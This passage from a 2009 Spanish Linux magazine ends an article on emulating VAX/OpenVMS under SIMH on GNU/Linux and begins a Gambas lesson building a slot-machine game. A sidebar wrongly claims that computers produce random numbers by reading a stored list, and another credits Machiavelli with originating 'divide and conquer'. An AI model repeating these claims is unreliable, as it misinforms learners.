Listado 10. Instalación del soporte DEC OS/F Motif en sistemas OpenVMS

$ product

Operation (INSTALL, SHOW, ...): install

Product name (* to show list): *

The following product has been selected:

DEC VAXVMS DWMOTIF V1.2-6 Layered Product

Do you want to continue? [YES]

Configuration phase starting ...

You will be asked to choose options, if any,

for each selected product and for

any products that may be installed to satisfy

software dependency requirements.

DEC VAXVMS DWMOTIF V1.2-6: DECwindows Motif

� 1988, 2000 Compaq Computer Corporation

Compaq Computer Corporation

This product uses the PAK: DW-MOTIF

Checking values of system parameters...

OK

Do you want the defaults for all options? [YES] YES

If a Local Language Variant is installed refer to the Install Guide.

Do you want to continue? [YES] YES

Do you want to review the options? [NO]

The following product has been installed:

DEC VAXVMS DWMOTIF V1.2-6 Layered Product

Finally, we get the following messages to indicate the

installation is complete.

DEC VAXVMS DWMOTIF V1.2-6: DECwindows Motif

System reboot will be required following upgrade

of language variants.

Installation Verification Procedure can be run after reboot.

Listado 11. Creando una interfaz de red integrada tap0

root@persephone:~# ifconfig tap0

tap0 Link encap:Ethernet HWaddr 4E:38:D6:F8:83:0F

BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:500

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

root@persephone:~#

Page 55: Linux_05_2009_ES

55www.lpmagazine.org

soluciones para empresasRehosting de sistemas VAX/OpenVMS

el emulador, ejecutar los comandos OpenVMS que figuran en el Listado 5.

A fin de proceder a instalar el soporte TCP-IP, debe accederse al directorio VMS denominado DUA3:[TCPIP_VAX051.KIT] en el que aparece el siguiente producto:

$ dir dua3:[tcpip_vax051.kit]

DEC-VAXVMS-TCPIP-V0501-15-1.PCSI;1

Total of 1 file.

Y proceder a la instalación del mismo mediante la utilidad DCL product tal y como se muestra en el Listado 6.

Una vez concluidos estos pasos, la plata-forma VAX/OpenVMS está emulada en nu- estro sistema GNU/Linux y se encuentra lista para su utilización ulterior.

Comunicaciones TCP-IP con el sistema VAX/OpenVMSTal y como se ha explicado anteriormente, el acceso a una comunicación TCP-IP con el sistema emulado descansa sobre dos premi-sas básicas como son la compilación de SI-MH con soporte Ethernet gracias a la librería PCAP así como la existencia de un interfaz de red Ethernet libre en nuestro sistema GNU/Linux. En nuestro caso particular, esta inter-faz es eth0 tal y como se muestra en el Lis- tado 7.

Esta interfaz de red no deberá estar co-nectada físicamente a ningún concentrador o conmutador, ya que su utilización será inter-na al propio sistema anfitrión GNU/Linux.

Una vez comprobada la disponibilidad de esta interfaz, es el momento de proceder a la configuración TCP-IP de la plataforma VAX/OpenVMS mediante los siguientes comandos DCL OpenVMS en el sistema emulado:

$@sys$manager:tcpip$config

o, alternativamente, ya que UCX es el prede-cesor de la implementación TCP-IP en estos sistemas:

$@sys$manager:ucx$config

que produce un menú interactivo que utiliza-remos para la configuración de la interfaz de red (Listado 8). De este modo, aparece lo que presenta la Figura 6.

Una vez realizada esta actividad, la opción (6) de dicho menú permite arrancar los servicios TCP-IP asociados al dominio emulado VAX/OpenVMS. Probablemente, resulta necesario modificar alguno de los pa-

rámetros de configuración del kernel Open- VMS.

De este modo, obtenemos como resultado un sistema VAX/OpenVMS completamente funcional en el cual se ejecuta OpenVMS 7.3 con soporte TCP-IP, lo que permite el acceso remoto a éste tal y como se muestra en la Figura 7.

Mientras que el acceso desde otro equipo, se ve como aparece en la Figura 8, en el que se aprecia otro detalle de la conexión desde un equipo físicamente ajeno al del sistema emu-lado.

Como se puede comprobar, hemos solven-tado uno de los problemas más críticos que pre-

• CICS: Complex Instruction Set Computer

• DCL: Digital Command Language• DEC: Digital Equipment Corporation• DECU: Digital Equipment Corporation

Users' Society• IA32: Intel Architecture 32-bit• ISA: Instruction Set Architecture• NIC: Network Interface Card• RAM: Random Access Memory• VAX: Virtual Address Extension• VMS: Virtual Memory System• XDM: X11 Display Manager

Acrónimos y abreviaturas

Figura 7. Conexión TCP-IP al sistema VAX/OpenVMS desde sistema anfitrión

Figura 8. Conexión TCP-IP al sistema VAX/OpenVMS desde otro sistema GNU/Linux

Page 56: Linux_05_2009_ES

56 Linux+ 5/2009

soluciones para empresasRehosting de sistemas VAX/OpenVMS

sentan las plataformas VAX y es que los fallos en cualquier componente no están afectados por la obsolescencia, al ser emulados físicamente a través de los dispositivos e interfaces presen-tes en un ordenador personal actual.

Instalación DEC OS/F MotifAntes de proceder a instalar DEC OS/F Mo-tif, es preciso reconfigurar el kernel del sis- tema OpenVMS, ya que en concreto, el pará- metro PQL_MBYTLM debe ser como mínimo de 48000:

- SYSGEN parameter PQL_MBYTLM is

40000, should be at least 48000

El procedimiento más adecuado para la re-configuración del kernel OpenVMS es la uti-

lización de la secuencia de comandos del Lis- tado 9.

Y posteriormente, proceder a la instalación del paquete OS/F Motif para OpenVMS pre-sente en el CD-ROM de instalación volcado en nuestra imagen cd.iso. Para ello, la se-cuencia de pasos a seguir será:

• Montar el CD-ROM en el sistema VAX/OpenVMS mediante el comando:

$ set default DUA3:[DWMOTIF_

VAX126.KIT]

• Proceder a la instalación de DEC OS/F Motif for OpenVMS mediante los coman-dos recogidos en el Listado 10.

• Finalmente, reiniciar el sistema VAX/Open- VMS para hacer que los cambios tengan efecto:

$ shutdown

Después del reinicio, la plataforma emulada VAX/OpenVMS estará ya lista para la utili-zación del servicio XDM que posibilitará la apertura y trabajo con clientes X11, lo que nos proporciona finalmente un sistema VAX/OpenVMS en un sistema anfitrión GNU/Linux con plenas funcionalidades para la migración del software hospedado en plataformas VAX a arquitecturas IA32.

Más allá: Interfaces TUN/TAPFrecuentemente, no se poseen tarjetas de red adicionales, pero los sistemas GNU/Linux proporcionan soporte TUN/TAP para los ni-veles TCP/IP 2 y 3, respectivamente. De este modo, TUN permite obtener un NIC virtual con una dirección Ethernet asociada distinta a la dirección física de la tarjeta en la que se sustenta:

• Comprobar la existencia del módulo TUN/TAP,

• Instalar el software tunctl(1) disponible en http://tunctl.sourceforge.net,

• Asegurarse que el kernel Linux posee el soporte TUN/TAP instalado como mó-dulo, lo cual puede verse mediante el co- mando:

root@persephone:~# lsmod | grep tun

tun 13444 0

• Proceder acto seguido a levantar con la utilidad tunctl(8) la interfaz TAP que simulará nuestra tarjeta de red para el sis-tema emulado VAX/OpenVMS:

root@persephone:~# tunctl

Set 'tap0' persistent and owned by uid 0

• Con ello, se crea una interfaz de red integra-da tap0, con una dirección Ethernet espe-cífica e independiente de las tarjetas físi-cas del sistema tal y como se aprecia en el Listado 11.

• Editar el fichero vax.ini del Listado 2, mo-dificando la entrada correspondiente, de tal forma que se introduzca la dirección IP del dispositivo tap0 recién creado:

; Attach Ethernet to a network interface

set xq mac=4e-38-d6-f8-83-0f

Es muy importante tener en cuenta que NO SE DEBE añadir una dirección de red a esta inter-faz, ya que esta labor la realiza exclusivamente el sistema emulado VAX/OpenVMS y de forma totalmente transparente al sistema GNU/Linux que actúa como anfitrión.

De este modo se logra un bridge entre el nodo GNU/Linux y el nodo emulado VAX/ OpenVMS tal y como se muestra en la Fi- gura 9.

Figura 9. Interconexión entre los sistemas anfitrión (GNU/Linux) y emulado OpenVMS

Figura 10. Sistema OpenVMS emulado por una distribución GNU/Linux live

Page 57: Linux_05_2009_ES

57www.lpmagazine.org

soluciones para empresasRehosting de sistemas VAX/OpenVMS

• The Computer History Simulation Project (SIMH): http://simh.trailing-edge.com/

• OpenVMS Community Portal: http://www.openvms.org/

• HP OpenVMS Systems Documentation: http://h71000.www7.hp.com/doc/index.html

• Compaq OpenVMS Hobbyist portal: http://www.openvmshobbyist.com/news.php

• TUN/TAP Interfaces: http://tunctl.sourceforge.net

En la red

José B. Alós es administrador de sistemas especializado en SunOS 5.x/HP-UX/AIX desde 1999 de la mano de EDS, desarro-llando su trabajo en Telefónica de España, S. A. U. y lleva trabajando con sistemas GNU/Linux desde los tiempos del núcleo 1.2.13. Actualmente desempeña su actividad profe-sional en la industria aeronáutica dentro del ámbito de sistemas y software embarcados en EADS CASA. Ha sido profesor de la Uni-versidad de Zaragoza. Está especializado en sistemas de Alta Disponibilidad y posee un doctorado en Ingeniería Nuclear.

Sobre el autor

Figura 11. OpenVMS Community Portal

Figura 12. HP OpenVMS Systems Documentation

Figura 13. Compaq OpenVMS Hobbyist portal

Conclusiones finalesPara quien piense que OpenVMS es un sistema muerto, recordar que la primera versión VMS 1.0 apareció en 1978 y el soporte OpenVMS a pla-taformas Intel Itanium 64 bits está disponible por HP Compaq desde 2004 ya que en estos momen-tos, no se vende hardware VAX. Esta solución admite más sofisticaciones, incluso ejecutar un sistema OpenVMS dentro de un sistema GNU/Linux en un CD-ROM utilizando distribuciones live, o virtualizaciones mediante QEMU, como puede verse en la Figura 10.

Una compañía como Compaq compra DEC en 1998 para fusionarse cuatro años más tarde con el gigante Hewlett-Packard. No obstante y para concluir este artículo, nada mejor que una anécdota, como la protagonizada por Dave Cut-ler, uno de los padres de VMS y posteriormente, uno de los ingenieros que lideraron el proyecto Windows New Technology, que condujo a MS Windows NT. El acrónimo WNT no es más que una transposición una letra hacia adelante de VMS, quizás para dar un gran paso hacia atrás en las prestaciones tecnológicas.

Page 58: Linux_05_2009_ES

programaciónCurso de Programación en Gambas

58 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Gambas nos provee muchas herramientas que a lo largo de este curso seguiremos estudiando. En particular, en esta entrega, aprenderemos el concepto de modularidad, mediante la creación

de Procedimientos y Funciones, la creación de menús para nuestra aplicación, más funciones del lenguaje, como generar números aleatorios y finalmente, daremos una introducción al dibujo de primitivas. También, veremos las facilidades que nos provee Gambas para poder crear nuestra aplicación multiidioma. Empecemos...

Concepto de ModularidadCuando se desarrolla un programa de software de gran mag-nitud, éste se organiza de una manera y forma de que cada una de las partes pueda ser independiente, es decir, que ten-ga una funcionalidad única. En un ejemplo de la vida real, cuando se fabrica un automóvil, existen diversas partes que tienen una función específica, como lo es el motor, el chasis, el carburador, etc., todas estas partes, conforman a la pieza final. Estas partes, al ser independientes, cuando una de ellas falla, solamente hace falta cambiar o modificar la forma en que lo hace, sin afectar a las demás partes involucradas. Con

esta premisa, podemos decir entonces que los módulos son Autónomos, con el software pasa lo mismo. Cada una de de estas partes recibe el nombre de Módulos, los cuales cum-plen una tarea específica, con el fin de poder ser reutilizado

Creando un Juego en GambasEn esta entrega, nos propondremos a crear un juego en Gambas: el famoso JackPot o Tragamonedas. Estudiaremos la lógica de este juego, como así también los conceptos nuevos que necesitamos para poder desarrollarlo. Dejémonos un poco de hablar y... ¡comencemos a programar!

Jorge Emanuel Capurro

Este dicho popular en la jerga de los programadores, es utilizado cuando un programador vuelve a programar un módulo o una función que ya él (u otro programador) ha programado en el pasado. Esto comúnmente sucede al no estructurar los programas de una manera correcta, ge-nerando como consecuencia una reescritura de código de forma innecesaria. Otro factor que puede causar que se tenga que reinventar la rueda, sucede cuando el progra-mador no es consciente o no conoce bien la totalidad de las funciones del lenguaje, lo cual desemboca en la rees-critura de código innecesario. Por ejemplo, si un progra-mador no conoce que existe una función llamada SUMA, que se encarga de sumar dos números, éste la tendrá que crear a su modo, por lo que estará reinventando la rueda.

Reinventar la Rueda...

Page 59: Linux_05_2009_ES

programaciónCurso de Programación en Gambas

59www.lpmagazine.org

por distintos componentes del programa. El hecho de planificar un programa mediante la utilización de módulos pequeños que cumplan una tarea en particular y se involucren entre sí, recibe el nombre de Modularidad. Esta es-tructuración permite al desarrollador ser más claro a la hora de programar una aplicación y ganar mucho tiempo, ya que al poder reutilizar los módulos que ya ha desarrollado en otros programas nuevamente, no hace falta reescribir código nuevamente, por lo que se evita lo que se conoce en la jerga como Reinventar la Rueda (ver Cuadro Reinventar la Rueda...).

Como ejemplo de modularidad, podemos considerar como complicado el siguiente enun-ciado: Se pide al programador que genere una aplicación que informe los números primos exis-tentes en el rango del número 0 hasta el número 30000.

Este problema, podemos resolverlo de una forma modular:

• Escribimos un módulo que calcule sola-mente un número primo,

• Escribimos un módulo, que se encargue de generar números del 0 al 30000,

• Escribimos un módulo que se encargue de mostrar un número en pantalla. En nuestro caso, será el número primo.

Si prestamos suma atención a nuestros módulos, podemos concluir que cada uno de ellos es un Programa Independiente uno del otro, es decir, cada uno cumple con una función única. Enton-ces, ahora nuestro enunciado “complicado”, se ha transformado en tres enunciados sencillos, o técni- camente hablando, en tres módulos o programas sencillos, que actuarán en conjunto. Podemos ver una representación gráfica de la resolución de nuestro programa en la Figura 1.

Dividiendo nuestros problemas: Procedimientos y FuncionesHasta aquí, ya hemos explicado el concepto de modularidad, y de como poder utilizarla. En este apartado, veremos cómo aplicarla en la práctica, más precisamente con Gambas y las subrutinas. Una subrutina es una porción de código que forma parte de un programa más grande. Llevando esto a la modularidad, las subrutinas vendrían a ser el componente esencial para poder modularizar nuestros programas. Éstas se dividen en dos cate-gorías fundamentales:

• Procedimientos: un procedimiento es una subrutina que se encarga de ejecutar su có- digo fuente, pero que no retorna ningún va-lor en particular. Es decir, ésta puede recibir valores, trabajar con ellos, pero no puede re- tornar los valores a otro programa u otra subrutina.

• Funciones: las funciones son prácticamente iguales a los procedimientos, salvo una di-ferencia sustancial: las funciones pueden re-tornar valores. Por ejemplo, si necesitamos una subrutina que calcule la suma entre dos números y necesitamos que el resultado sea tomado por otro programa, entonces nos valdremos de las funciones.

Tanto los procedimientos como las funciones, estarán dotadas de un nombre único e irrepeti-ble que obviamente, tampoco sea una palabra reservada del lenguaje.

La sintaxis para declarar un Procedimiento es la siguiente:

(PUBLIC | PRIVATE) SUB

NombreProcedimiento [V1 AS

TipoVariable, V2 AS TipoVariable...]

END

Como vemos, un procedimiento puede tener un ámbito público o privado. V1 y V2 son varia-bles que, opcionalmente, pueden recibir o no un procedimiento para trabajar con ellas, y van precedidas del tipo de dato de cada una (Inte-ger, Byte, Long, String, etc.). Estos parámetros no solo pueden ser variables, sino que un con-trol (Label, Form, TextBox, etc.) en particular. Un ejemplo de declaración de un procedimien-to llamado MuestraDatos que recibe el nombre y la edad de una persona, puede ser:

PUBLIC SUB MuestraDatos (Nombre AS

String, Edad AS Integer)

... Código Fuente del Procedimiento

...

END

Figura 1. Resolución modular de nuestro problema. Podemos observar los tres programas independientes interactuando

El concepto de Modularidad está muy re- lacionado con el de “Divide y Vencerás”. Es-te concepto, fue presentado por primera vez por el escritor Nicolás Maquiavelo, autor de la celebre obra “El Príncipe”, en la cual expli-ca que para poder dominar a todo un pueblo, nada mejor que generar discordia entre ellos, de forma que se separen en poblacio-nes más pequeñas y así, poder dominarlos más fácilmente. Este concepto explica de una forma muy clara lo que en la programación con la modularidad se pretende conseguir.

Divide y Vencerás

Figura 2. Imagen que servirá de fondo para el juego de Tragamonedas

Figura 3. Interfaz gráfica final de nuestro Tragamo-nedas

Page 60: Linux_05_2009_ES

60

programaciónCurso de Programación en Gambas

Linux+ 5/2009

La sintaxis para declarar una Función es la siguiente:

(PUBLIC | PRIVATE) FUNCTION

NombreFuncion

[V1 AS TipoVariable,

V2 AS TipoVariable...]

AS TipoDatoDeRetorno

... Código Fuente del Procedimiento

...

END

Prácticamente, la sintaxis de un procedimiento con el de una función es parecida, con la salve-dad que en la función se debe especificar el tipo de dato que ésta retornará. Por ejemplo, si la función se encarga de multiplicar dos números enteros y retornar su resultado, el TipoDatoDe-Retorno será Integer.

La GUI del JackPotDejaremos un poco de lado los conceptos de modularidad y el uso de procedimientos y fun-ciones, que veremos de forma práctica en nuestro juego, para poder concentrarnos en el diseño de la interfaz gráfica de usuario para nuestro JackPot o Tragamonedas. Usando un poco nuestra imagi-nación, podemos crear un dibujo de una máquina tragamonedas para el fondo de nuestro formu-lario, haciendo uso de programas como GIMP o alguno más sencillo, como puede ser el Inks-cape o el famoso KolourPaint. El diseño de la máquina tragamonedas que yo he realizado ha quedado como se ilustra en la Figura 2. Este dise-ño está hecho con Inkscape, y si bien es un diseño muy sencillo, le dará otro aspecto a nuestra aplica-

ción final. Hay que tener especialmente cuidado en calcular bien los recuadros del dibujo, si es que queremos poner controles sobre él. No es condi-ción necesaria para la programación del juego que el lector sepa utilizar herramientas de dibujo. Si el lector desea, puede diseñar la interfaz gráfica a su manera.

Nota: Se asume que el lector tiene manejo de los controles explicados en entregas anterio-res en este curso, por lo que solamente se darán las propiedades elementales de ellos y de los controles nuevos.

Para poder colocar una imagen de fondo a nuestro formulario, esta imagen debe estar guar-dada en el mismo directorio donde se almacena nuestro proyecto. Una vez allí, colocamos un control PictureBox a nuestro formulario y me-diante la propiedad Picture, seleccionamos nues-tra imagen. Una vez adaptada a nuestro formu-lario, colocamos los controles correspondientes. Nos debería quedar una interfaz gráfica parecida a la que se muestra en la Figura 3.

A continuación, se listan las propiedades de los controles utilizados:

• Tabla 1 : Propiedades de los Controles Label.• Tabla 2 : Propiedades de los Controles Timer.• Tabla 3: Propiedades de los Controles Res-

tantes.

Se le deja al lector la tarea de adaptar el tamaño de los controles según sus necesidades, como así también, elegir el color de los labels, etc. El control LCDNumber no se encuentra en los com-ponentes que Gambas nos provee como Default, por lo que tendremos que añadirlo a nuestro re-positorio de la siguiente manera. Dentro del IDE de Gambas, nos dirigimos al menú Proyecto –>

Un número aleatorio es un resultado de una variable al azar especificada por una función de distribución. En las computadoras es imposible generar números aleatorios por las estructuras que éstas poseen, pero sí es fácil simular la generación de números aleatorios, mediante mecanismos de gene-ración de números Pseudoaleatorios, que, sin ser aleatorios lo aparentan. Es decir, una computadora no genera realmente números aleatorios, sino que, en realidad, almacena una lista gigante de números en orden aleatorio. Al principio de un ciclo de elección de un número aleatorio, el software lo que realmente hace es seleccionar un lugar de la lista. Luego de esto, va utilizando los núme-ros de la lista en orden consecutivo.

¿Números Aleatorios?

Figura 4. Ventana para agregar un nuevo Compo-nente a nuestra aplicación

Figura 5. Estructura de tipo Árbol que conforman una barra de menú

Figura 6. Ubicación del Editor de Menú

Page 61: Linux_05_2009_ES

61www.lpmagazine.org

programaciónCurso de Programación en Gambas

Propiedades, y por último, a la pestaña Compo-nentes. Una vez allí (ver Figura 4), tildamos en el componente gb.qt.ext. Veremos que se nos des-pliega un cuadro informándonos de los autores de ese componente, los otros componentes que requiere para poder utilizarlo, como así también, los controles que este componente tiene. Luego confirmamos presionando el botón Ok. Como podemos ver, este componente solamente está disponible para las librerías QT, y es por ello que solamente podremos agregarlo en los programas que utilicen esta librería.

Creando menús para nuestra aplicaciónLos menús son elementos muy importantes en las aplicaciones gráficas, ya que conforman una estructura organizada donde el usuario puede encontrar lo que busca de una manera rápida y sencilla. Gambas posee un editor de menú, que es de uso extremadamente fácil, pero para poder manejarlo sin ningún inconveniente y confusión, pasemos a ver como está estructurado un menú de aplicación. Las barras de menú están con-formadas por una troncal principal, que son los componentes que se encargan de agrupar a un subgrupo relacionado. Por ejemplo en un editor de texto, podemos tener un menú que contenga como troncal principal al menú Edición, y como subgrupo a Copiar, Cortar y Pegar, que están íntimamente relacionados con la edición de un texto en particular. En la Figura 5, podemos ob-servar a los troncales principales Menú A, Menú B y Menú C, con sus subgrupos. Vemos también como una barra de menú forma lo que se llama

una estructura de tipo Árbol, con su tronco prin-cipal conteniendo a otras troncales relacionadas. Gambas diseña sus menús de la misma forma que se muestra en la Figura 5, confeccionando el menú en forma de Árbol.

Para poder acceder al Editor de Menú, nos dirigimos al icono que se encuentra en la barra de herramientas del formulario FMain, tal cual como se muestra en la Figura 6.

Una vez dentro del Editor de Menú, es muy intuitivo utilizarlo. Cada vez que queramos insertar un menú o un submenú, hacemos clic en el botón Insertar. Luego, tenemos la posibilidad mediante las flechas de dirección, de generar la estructura de tipo Árbol con la cual se conforman los menús. Por convención, los menús empiezan con el prefijo mnu, para identificarlos dentro del código fuente. Las únicas propiedades que no se pueden obviar para crear el menú son las propie-dades Nombre y Título. Si a la propiedad Nombre le agregamos un símbolo & delante, cuando es-temos ejecutando el programa podremos abrir el menú presionando la tecla Alt más la primer letra del nombre del menú, por ejemplo para abrir el menú &Archivo, presionaríamos [Alt] + [A].

También podemos dividir los subgrupos mediante separadores. Para incluir un separador, dejamos la propiedad Título en blanco. Como podemos ver, también se pueden insertar imáge-nes de manera muy sencilla, que identifiquen la acción de nuestro menú.

En la Figura 7 se deja la estructura de menú de nuestro tragamonedas. Se deja al lector como tarea construirla, como así también si lo desea, modificarla a su gusto.

Las Reglas del JuegoAntes de empezar a programar el juego, tenemos que tener bien en cuenta las reglas de jugada, que son muy sencillas:

• Si el Jugador apuesta X dinero y saca tres números iguales, el jugador gana X * 2, de lo contrario el monto apostado se lo queda la máquina tragamonedas

Por ejemplo, si el jugador apuesta $10 y saca tres números iguales (ej. 3 3 3) el jugador ganará $10

* 2, es decir, se le sumará a su dinero $20. Como podemos observar, la única forma de que gane-mos es sacando tres números iguales. La proba-bilidad de que ganemos está condicionada según la cantidad de números que contenga el rango a designar para que se generen los números aleato-rios. Por ejemplo, si nuestro rango es de 0-9, va a resultar mucho más difícil ganar que si nuestro rango generación de números es de 0-3, ya que habrá menos números que pueden salir elegidos.

¡A Trabajar!Comencemos a programar nuestro juego. Como siempre, declararemos las variables necesarias para almacenar los datos del juego. En nuestro caso, tendremos que declarar tres variables a las que llamaremos Dinero y Apuesta, de tipo Inte-ger y HorarioActual, de tipo Date. La función de la variable HorarioActual se explicará más ade-lante. Ahora, crearemos algunos Procedimientos y Funciones que nos serán útiles a lo largo del programa. La primera Función que crearemos se-rá la llamada DameNumeroAleatorio, que será la encargada de retornar un número aleatorio según el rango que le especifiquemos. Para crear esta Función, la tenemos que escribir en la sección Declaraciones de nuestro FMain, que es en el mismo lugar donde se declararon las variables. El Listado 1 muestra cómo se codifica esta función.

Analicemos esta Función. Primero, declara-mos una variable local a la que llamamos “Nu-mero”, que es del tipo byte, ya que almacenará un número del 0-6, que es el rango que yo elegí para la generación de los números aleatorios. Luego, invocamos a la función RANDOMIZE, que se encarga de mezclar los números que serán ge-nerados por la función RND (ver cuadro ¿Núme-ros Aleatorios?). La función RND, se encarga de generar números aleatorios o al azar (RaNDom), según los parámetros que se le especifique, en nuestro caso, le pasamos 0 (cero) como límite

Figura 7. Estructura de Menú del juego Tragamonedas

Figura 8. Esquema de la Animación del juego TragamonedasFigura 9. Nuestro juego de Tragamonedas funcio-nando

Page 62: Linux_05_2009_ES

62

programaciónCurso de Programación en Gambas

Linux+ 5/2009

inferior y 6 (seis) como límite superior, es decir, esta función solamente nos podrá retornar los números 0,1,2,3,4,5,6. El número que nos retor-ne, se almacenará en la variable Numero, y luego es retornado por la función mediante la sentencia RETURN. Podemos observar en el prototipo de la función, el valor de retorno que devuelve, que se especifica del tipo byte, tal cual como lo hicimos (PRIVATE FUNCTION DameNumeroAleatorio() AS Byte).

Ahora codificaremos un Procedimiento que se llama HabilitaControles que le pasaremos un valor de TRUE o FALSE, y según el valor espe-cificado, se habilitarán o se deshabilitarán los controles contenidos en él. Este Procedimiento será invocado cuando el jugador presione el bo-tón Jugar, pasándole el valor FALSE para que los controles queden inutilizados. Para comprender mejor el uso de este procedimiento, imagine- mos la siguiente escena:

Un jugador apuesta $5 y presiona el bo-tón Jugar, y contempla que los primeros dos números que han salido son el 5, por lo que si sale un número 5 nuevamente, gana el pozo. El jugador al ser tan observador, se aprovecha de que el control que se encarga de almacenar el monto de la apuesta está deshabilitado, por lo que se aprovecha de la situación aumentan-do el monto apostado a $80. Aquí, podemos concluir que si los dos primeros números que han salido son el número 5, la probabilidad de ganar es mayor a la que teníamos cuando habíamos empezado a jugar y todavía no ha-bía salido ningún número. Este tipo de errores tiene que ser contemplado por el programador, ya que son un error de lógica bastante grave y permiten que el juego sea alterado. Imagine que esto sucediera en un casino de verdad... tendría que dar muchas explicaciones... Mejor, pasemos a programar el procedimiento, tal co-mo se muestra en el Listado 2.

Como podemos observar, el procedimien-to recibe en una variable llamada Valor, un valor del tipo boolean, es decir TRUE o FALSE. Simplemente lo que hacemos es asignar el contenido de Valor a los controles que serán habilitados/deshabilitados, mediante la propie-dad Enabled. Obviamente, uno de esos con- troles es el que controla el monto de la apuesta (spbApuesta).

El procedimiento que se muestra en el Lis-tado 3, se encarga de generar un “Color Alea-torio”. Este procedimiento lo utilizaremos para darle al lblTitulo un efecto de que cambia de color cada un cierto intervalo de tiempo. Como se entiende, se genera un número aleatorio entre 0 y 3, que se almacena en la va-riable NumeroColor, y luego dependiendo del número que haya sido retornado, se colorea al lblTitulo mediante la propiedad ForeColor, indicando qué color asignarle mediante la sentencia Color. NombreDeColor. Este proce-dimiento, al igual que los otros, es reutilizable ya que si observamos el tipo de variable que recibe, veremos que es del tipo Label. Esto significa que el efecto que se crea en ColorTi-tulo es aplicable a cualquier control label que se le pase como parámetro, y no sólo funciona con lblTitulo.

El último Procedimiento que crearemos será el encargado de comprobar si el jugador ha ganado o no, y de ser así, asignarle (si corresponde) el monto que ganó. A este pro-cedimiento lo llamaremos VerificaGanador, pero antes de codificarlo pasaré a explicar cómo crear un módulo.

Los módulos, son archivos neutrales que no están especificados ni relacionados direc-tamente con un formulario en particular. Por

Tabla 1. Propiedades de los 6 controles Labels necesarios para la interfaz principal

Propiedades de los Controles LabelsName Text TransparentlblNumA "1" TRUE

lblNumB "1" TRUE

lblNumC "1" TRUE

lblMontoApostar "Monto a Apostar" TRUE

lblSigno "$" TRUE

lblTitulo "$ $ DINERO $ $" TRUE

Tabla 2. Propiedades de los 4 controles Timers necesarios para la interfaz principal

Propiedades de los Controles TimerName Delay EnabledtmrAnimaA 20 FALSE

tmrAnimaB 20 FALSE

tmrAnimaC 20 FALSE

tmrAnimaTitulo 800 TRUE

Tabla 3. Propiedades de los controles restantes necesarios para la interfaz principal

Propiedades de los Controles RestantesControl Text MaxValue ValueButton "¡JUGAR!" - -

SpinButton - 10000 -

LCDNumber - - 0

Tabla 4. Métodos más importantes para el dibujo de Primitivas

Propiedades y Métodes para el Dibujo de PrimitivasClase Nombre DescripcionDraw Begin Asocia el DrawingArea con la clase Draw

Draw End Finaliza o Cierra la asociación del DrawingArea con la clase Draw

Draw Ellipse Permite dibujar Elipses sobre la pantalla

Draw Line Permite dibujar Lineas sobre la pantalla

Draw Point Permite dibujar puntos sobre la pantalla

Draw Polyline Permite dibujar Lineas enlazadas sobre la pantalla

Draw Polygon Permite dibujar Poligonos sobre la pantalla

Draw Rect Permite dibujar Ractángulos sobre la pantalla

Draw Text Permite escribir texto

Draw Font Permite seleccionar una Fuente para utilizar con Draw.Text

Draw Background Color de fondo del Pincel (Ver clase Color)

Draw ForeGround Color de primer plano del pincel (Ver clase Color)

Draw FillColor Color para el relleno de Elipses o Rectángulos (Ver clase Color)

Draw FillStyle Seleccionar el patrón del dibujo, como solido, rayado, etc (Ver clase Fill)

Draw Refresh Refresca la Imagen en la Pantalla

Page 63: Linux_05_2009_ES

63www.lpmagazine.org

programaciónCurso de Programación en Gambas

ejemplo, dentro de los módulos podemos crear procedimientos y funciones que serán utiliza-dos en otros Forms. En nuestro caso, no fue necesario, pero sí se puede hacer. Nosotros lo utilizaremos para crear variables que se pue-dan utilizar y asignar en distintos formularios. Cuando nosotros declaramos variables en la sección Declaraciones de nuestro FMain, estas variables solamente se pueden utilizar dentro de FMain, y no en otros formularios, pues son locales del formulario. Al declarar una variable dentro de un módulo, ésta se podrá utilizar en cualquier formulario, siempre y cuando cumpla con la condición de que sea PUBLIC, ya que si no lo es, sólo se podrá utilizar dentro del módu-lo y en ninguna parte más.

Para crear un módulo, se hace práctica-mente igual que al crear un nuevo formulario. Nos dirigimos al Explorador de Proyecto, y hacemos clic derecho sobre la carpeta Mó- dulos y elegimos Nuevo–>Módulo. Le ponemos el nombre modVarios y confirmamos. Dentro del módulo, codificamos las variables y proce-dimientos que se encuentran en el Listado 4.

Estas variables serán utilizadas para tener una estadística acerca de la plata y partidas del jugador, tanto las ganadas como las perdidas. El procedimiento Salir, se encarga de preguntarle al usuario si desea realmente salir del traga-monedas, y de ser así, se cierra el programa. Este tipo de procedimiento es sumamente útil a la hora de evitar tener que reescribir código, ya que si no lo declararámos en un módulo, tendríamos que reescribirlo en cada uno de los formularios que necesitemos utilizarlo.

Ahora sigamos con la codificación de nues-tro último procedimiento, el VerificaGanador. Su lógica es muy básica y puede apreciarse en el Listado 5.

En primera instancia, verificamos si los números contenidos en los labels son iguales, y de ser así, el jugador ha ganado, y procedemos a duplicarle el monto de lo apostado para luego asignarlo a la variable Dinero. Como podemos ver, cuando queremos acceder a una variable que se encuentra dentro de un módulo, lo ha-cemos mediante nombreDeModulo.Variable. En este caso, tuvimos que acceder a las varia-bles modVarios.CantPartGanadas y modVa-rios TotalPlataGanada para almacenar los valores que nos servirán más tarde a modo de estadística.

Cuando empezamos un juego, tendremos que asignarle al jugador un monto predeter-minado para que pueda jugar. Este monto será de $100, y se le asignará a la variable “Dinero” cuando empiece el programa, como así también se mostrará el valor en el lcdDinero. Es por ello que el evento Open del FMain, quedaría tal cual

como se muestra en el Listado 6, inicializando también otras variables utilizadas.

Cuando el jugador modifica en el control SpinButtom, llamado spbApuesta, el valor a apostar, se dispara automáticamente el even-to Change, que es el encargado de detectar cuando se ha cambiado el valor numérico que almacena el SpinButton. Nos valdremos de él

para codificar y asignar a las variables corres-pondientes el valor de la apuesta. Analicemos el Listado 7.

Este código funciona a modo de valida-ción. Cada vez que el jugador quiere apostar más plata de la que realmente posee, se dispara la función Message indicándole que ese es el monto máximo para apostar, y posteriormente se

Listado 1. Función DameNumeroAleatorio

PRIVATE FUNCTION DameNumeroAleatorio() AS Byte

DIM Numero AS Byte

RANDOMIZE

Numero = CInt(Rnd(0, 6))

RETURN NumeroEND

Listado 2. Procedimiento HabilitaJuego

PRIVATE SUB HabilitaJuego(Valor AS Boolean)

spbApuesta.Enabled = Valor

